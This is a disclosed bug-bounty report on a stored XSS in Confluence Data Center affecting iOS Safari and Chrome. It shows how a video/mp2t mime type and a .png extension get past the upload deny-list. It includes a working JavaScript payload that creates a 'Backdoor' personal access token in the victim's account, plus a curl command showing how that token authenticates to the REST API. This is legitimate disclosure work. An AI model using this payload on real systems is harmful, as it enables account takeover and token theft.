Authentication Bypass in the Rest API via XSS on Safari and Chrome (iOS/iPhone only)

Disclosed by
c4v4r0n
  • Engagement Atlassian
  • Disclosed date 4 months ago
  • Reward $3,600
  • Priority P2 Bugcrowd's VRT priority rating
  • Status Resolved This vulnerability has been accepted and fixed
Summary by Atlassian

Cross-Site Scripting Vulnerability in Confluence on Safari or Chrome (iOS/iPhone)

Summary by c4v4r0n

This bug as founded using source code analysis of the Confluence application, but I developed a browser fuzzer to find how to exploit it.

Report details
  • Submitted

  • Target Location

    Confluence Data Center
  • Target category

    Other

  • VRT

    Cross-Site Scripting (XSS) > Stored > CSRF/URL-Based
  • Priority

    P2
  • Bug URL
    confluence.local/download/attachments/{{ID}}/{{FileName}}
  • Description

    Authentication Bypass in the Rest API via XSS on Safari and Chrome (iOS/iPhone only)

    CVSS: High 7.9 https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L

    This bug only affects users that access Confluence through an iPhone or iPad using either Safari or Chrome.

    This is a new research I'm doing in content-type, by now I found that is possible to bypass your current deny-list approach using a content-type that can interpret HTML in WebKit, this should affect the users that log in Confluence using a iPhone, this is a proof that is really hard to implement a deny-list and the focus should be in a more restrict approach like an allow-list.

    Because this is a new research, I request that this XSS vector don't get disclosed before I publish my research.

    Introduction

    This bug occurs because of a problem in the way that Confluence handles files that are uploaded in the comment section of any personal page.

    image-2025-01-22T02:36:11.470Z.png

    When we upload a file, Confluence will take as a parameter the filename (with the extension) and its mime-type in the file upload request "POST /plugins/drag-and-drop/upload.action".

    If I try to upload a HTML file:
    image-2025-01-22T02:21:57.479Z.png

    As we can see, the application allows us to upload this file, it gets stored, and we receive a URL to it.

    But if we try to access this URL in any browser, the file will be downloaded and not loaded by the browser as HTML.

    image-2025-01-22T02:22:17.231Z.png

    We can check the HTTP request to understand why this file is being downloaded.

    image-2025-01-22T02:22:41.297Z.png

    As we can see, the application is responding with the header "Content-Disposition: attachment" This will force the browser to download the file and not show it. Also, we can see the header "X-Content-Type-Options: nosniff", this header will not allow the browser to "guess" the content-type and the browser will be forced to use the Content-Type header from the HTTP response to parse the content.

    But if we upload a .txt file we are able to see it without downloading.

    image-2025-01-22T02:22:59.730Z.png

    image-2025-01-22T02:23:13.951Z.png

    If we look at this request through a proxy, we can see that the "Content-Disposition" header is now using the inline value. This allows the browser to show the file if it can understand the content-type (in this case text/plain).

    image-2025-01-22T02:23:33.282Z.png

    Code Review and how Confluence parses mime-types

    The way Confluence choose if the Content-Disposition should be inline or attachment comes from the method guessContentDispositionHeader() that can be found in the com.atlassian.http_atlassian-http-4.1.0.jar file in the path /com/atlassian/http/mime/ContentDispositionHeaderGuesser.class

    This method will call this.isExecutableContent() with the filename and with the mime-type that we saved the file. Based on the return of this method, the application will decide if the Content-Disposition should be attachment or inline.

        public String guessContentDispositionHeader(String fileName, String mimeContentType, String userAgent) {
            DownloadPolicy downloadPolicy = this.downloadPolicyProvider.getPolicy();
            boolean forceDownload = false;
            if (downloadPolicy.equals(DownloadPolicy.Insecure)) {
                return "inline";
            } else if (!downloadPolicy.equals(DownloadPolicy.Secure) && !downloadPolicy.equals(DownloadPolicy.WhiteList)) {
                forceDownload = this.isExecutableContent(fileName, mimeContentType);
                if (BrowserUtils.isIE(userAgent) && this.isTextContentType(mimeContentType)) {
                    forceDownload = true;
                }
    
                if (forceDownload && log.isDebugEnabled()) {
                    log.debug("\"" + fileName + "\" (" + mimeContentType + ") presents as executable content, forcing download.");
                }
    
                return forceDownload ? "attachment" : "inline";
            } else {
                return "attachment";
            }
        }
    

    The method isExecutableContent() is just a wrapper to hostileExtensionDetector.isExecutableContent().

        private boolean isExecutableContent(String name, String mimeContentType) {
            return this.hostileExtensionDetector.isExecutableContent(name, mimeContentType);
        }
    

    Then hostileExtensionDetector.isExecutableContent() will call two functions, isExecutableFileExtension() and isExecutableContentType(). To be able to reach the Content-Disposition inline, both should return false.

        public boolean isExecutableContent(String fileName, String contentType) {
            return this.isExecutableFileExtension(fileName) || this.isExecutableContentType(contentType);
        }
    

    First, isExecutableFileExtension() will compare the file name with an array of malicious file extensions; if the filename contains any of the file extensions in the array, the function will return true, and the Content-Disposition will be set to attachment. To bypass this check we can use any other file extensions like .png for example; this will not affect the web browser behavior.

    image-2025-01-22T02:26:38.695Z.png

    The isExecutableContentType() function will do something similar and compare the file mime-type with a list of malicious types and return true if it finds any match.

        public boolean isExecutableContentType(String contentType) {
            boolean isExecutableContentType = false;
            if (StringUtils.isBlank(contentType)) {
                return true;
            } else if (!VALID_MIME_TYPE.matcher(contentType.toLowerCase()).matches()) {
                return true;
            } else {
                for(String executableContentType : this.executableContentTypes) {
                    if (contentType.toLowerCase(Locale.US).contains(executableContentType)) {
                        isExecutableContentType = true;
                        break;
                    }
                }
    
                return isExecutableContentType;
            }
        }
    

    This is a list with all the mime-types Confluence understands as bad.

    0 = "image/svg+xml"
    1 = "application/pdf"
    2 = "image/svg-xml"
    3 = "message/rfc822"
    4 = "multipart/x-mixed-replace"
    5 = "text/xml-external-parsed-entity"
    6 = "text/vtt"
    7 = "application/atom+xml"
    8 = "text/webviewhtml"
    9 = "application/x-shockwave-flash"
    10 = "text/html-sandboxed"
    11 = "text/html"
    12 = "application/rdf+xml"
    13 = "application/octet-stream"
    14 = "text/vnd.wap.wml"
    15 = "text/xsl"
    16 = "video/x-flv"
    17 = "application/vnd.wap.xhtml+xml"
    18 = "application/mathml+xml"
    19 = "application/xml"
    20 = "application/xml-dtd"
    21 = "application/x-cab"
    22 = "text/xml"
    23 = "application/futuresplash"
    24 = "application/xml-external-parsed-entity"
    25 = "text/rdf"
    26 = "text/xhtml"
    27 = "application/xhtml+xml"
    

    So to bypass this we just need to use a different file extension and a different mime-type

    video/mp2t and PoC

    During my research in mime-types I found that the video/mp2t is a mime-type that is interpreted as HTML by WebKit mobile based browsers (Safari and Chrome in iOS), this is just one example that a deny-list is not the best approach for this situation, different devices may support different mime-types that can be interpreted as HTML or XML.

    To exploit this bug we need to create an HTML file using any file extension that is not in the deny-list, I will use .png.

    image-2025-01-22T02:28:20.236Z.png

    image-2025-01-22T02:28:37.703Z.png

    When uploading the file, we need to intercept the request and change the mimeType GET parameter to video/mp2t.

    image-2025-01-22T02:28:54.444Z.png

    The file is uploaded to http://localhost:8090/download/attachments/163936/alert.png?version=2&modificationDate=1737506251465&api=v2 (to access from my iPhone device, I should use the 192.168.0.108 IP address). Now I need to open this link using an iPhone or another iOS-based device. I'm using the iPhone virtual machine that comes with XCode, but I also tested in a real iPhone 15, and it worked as well.

    image-2025-01-22T02:29:50.659Z.png

    Authentication Bypass using Personal Access Token (PAT)

    As per the documentation.

    "Personal access tokens (PATs) are a secure way to use scripts and integrate external applications with your Atlassian application. If an external system is compromised, you simply revoke the token instead of changing the password and consequently changing it in all scripts and integrations.

    Personal access tokens are a safe alternative to using username and password for authentication with various services. "

    We can use a PAT to authenticate in the Confluence API.

    A PAT token is created with a request to "POST /rest/pat/latest/tokens".

    image-2025-01-22T02:30:30.086Z.png

    We then can use this token in a curl request to access the Confluence rest API.

    curl -H 'Authorization: Bearer NDMxMTI2NjM3Nzk2OhAVOxGM+a7vpoX5HRsw8yOVLk2/' http://localhost:8090/rest/api/user?username=admin ; echo
    

    Because we can use the PAT token to authenticate in Confluence, it is a good target for our XSS payload.

    PoC

    Our PoC will create a new PAT token in the victim account and show it in a alert box, but of course we could easly send this PAT token to a remote server controled by us.

    First, we need to create a .png file to store our XSS payload. I will call mine token.png

    image-2025-01-22T02:31:40.187Z.png

    token.png:

    <script>
    (async () => {
      const rawResponse = await fetch("/rest/pat/latest/tokens",
    {
        headers: {
          'Accept': 'application/json',
          'Content-Type': 'application/json'
        },
        method: "POST",
        body: JSON.stringify({name:"Backdoor", expirationDuration:90})
    });
      const content = await rawResponse.json();
      alert(content.rawToken);
    })();
    </script>
    

    Then we need to upload this file and change the mimeType parameter to video/mp2t.

    image-2025-01-22T02:32:19.479Z.png

    Select our payload and click send.
    Now change the mimeType parameter to video/mp2t using a proxy.

    image-2025-01-22T02:32:56.450Z.png

    As we can see, the file is saved without any problem. The URL we need to send to the victim iPhone's is http://192.168.0.108:8090/download/attachments/163936/token.png?version=1&modificationDate=1737508504777&api=v2

    image-2025-01-22T02:33:19.538Z.png

    And when the victim opens the link, a new PAT token will appear in the alert box.

    image-2025-01-22T02:33:38.676Z.png

    Below is a PoC video showing the victim opening the malicious link in an iPhone and a new PAT token being created in his account.

    Confluence%20XSS%20PoC.mp4

Activity